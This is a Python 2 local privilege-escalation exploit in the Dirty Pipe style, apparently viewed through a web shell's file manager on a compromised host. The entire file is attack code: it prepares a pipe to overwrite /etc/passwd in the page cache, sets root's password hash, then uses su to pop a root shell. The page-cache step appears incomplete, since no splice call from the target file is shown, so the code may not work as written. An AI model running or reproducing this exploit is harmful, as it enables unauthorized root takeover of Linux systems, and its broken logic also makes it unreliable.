Viewing file: dirty5.py (3.5 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/env python2
import os
import sys
import fcntl
PAGE_SIZE = 4096
PIPE_SIZE = 65536 # Hardcoded pipe size
def prepare_pipe(pipe_fds):
""" Create a pipe where all pipe buffers have the PIPE_BUF_FLAG_CAN_MERGE flag set. """
read_fd, write_fd = pipe_fds # Unpack pipe file descriptors
buffer = '\x00' * 4096 # 4KB buffer
# Fill the pipe completely
r = PIPE_SIZE
while r > 0:
n = min(r, len(buffer))
os.write(write_fd, buffer[:n])
r -= n
# Drain the pipe
r = PIPE_SIZE
while r > 0:
n = min(r, len(buffer))
os.read(read_fd, n)
r -= n
# Pipe is now empty and the next buffer added will be mergeable
def backup_file(source, backup):
""" Backup a file before modifying it """
try:
with open(source, 'rb') as f1, open(backup, 'wb') as f2:
f2.write(f1.read())
print "[*] Backup of {} created at {}".format(source, backup)
except IOError as e:
sys.exit("[!] Backup failed: {}".format(str(e)))
def run_exploit():
target = "/etc/passwd"
backup = "/tmp/passwd.bak"
print "[*] Backing up /etc/passwd to /tmp/passwd.bak ..."
backup_file(target, backup)
offset = 4 # After "root"
data = ":$6$root$xgJsQ7yaob86QFGQQYOK0UUj.tXqKn0SLwPRqCaLs19pqYr0p1euYYLqIC6Wh2NyiiZ0Y9lXJkClRiZkeB/Q.0:0:0:test:/root:/bin/sh\n"
data_size = len(data)
print "[*] Setting root password to 'piped'..."
if offset % PAGE_SIZE == 0:
sys.exit("[!] Cannot start writing at a page boundary.")
next_page = (offset | (PAGE_SIZE - 1)) + 1
end_offset = offset + data_size
if end_offset > next_page:
sys.exit("[!] Cannot write across a page boundary.")
try:
fd = os.open(target, os.O_RDONLY) # Open in read-only mode
except OSError as e:
sys.exit("[!] Failed to open target file: {}".format(str(e)))
try:
st = os.fstat(fd)
except OSError as e:
sys.exit("[!] Failed to stat target file: {}".format(str(e)))
if offset > st.st_size:
sys.exit("[!] Offset is outside the file.")
if end_offset > st.st_size:
sys.exit("[!] Cannot enlarge the file.")
# Prepare the pipe
p = os.pipe() # Returns (read_fd, write_fd)
prepare_pipe(p)
# Manually read 1 byte before the offset and write it into the pipe
offset -= 1
try:
os.lseek(fd, offset, os.SEEK_SET) # Seek to the byte before the target
byte_before = os.read(fd, 1) # Read one byte
if not byte_before:
sys.exit("[!] Failed to read the required byte.")
os.write(p[1], byte_before) # Write this byte into the pipe
except OSError as e:
sys.exit("[!] Failed to read/write necessary data: {}".format(str(e)))
# Write into the pipe (overwrite page cache)
nbytes = os.write(p[1], data)
if nbytes < 0:
sys.exit("[!] Write failed.")
if nbytes < data_size:
sys.exit("[!] Short write.")
# Restore /etc/passwd and open a root shell
print "[*] Restoring /etc/passwd and opening root shell..."
os.system("(echo piped; cat) | su - -c '"
'echo "Restoring /etc/passwd from /tmp/passwd.bak..."; '
'cp /tmp/passwd.bak /etc/passwd; '
'echo "Done! Popping shell... (run commands now)"; '
"/bin/sh' root")
print "[!] Exploit execution failed."
if __name__ == "__main__":
run_exploit()
|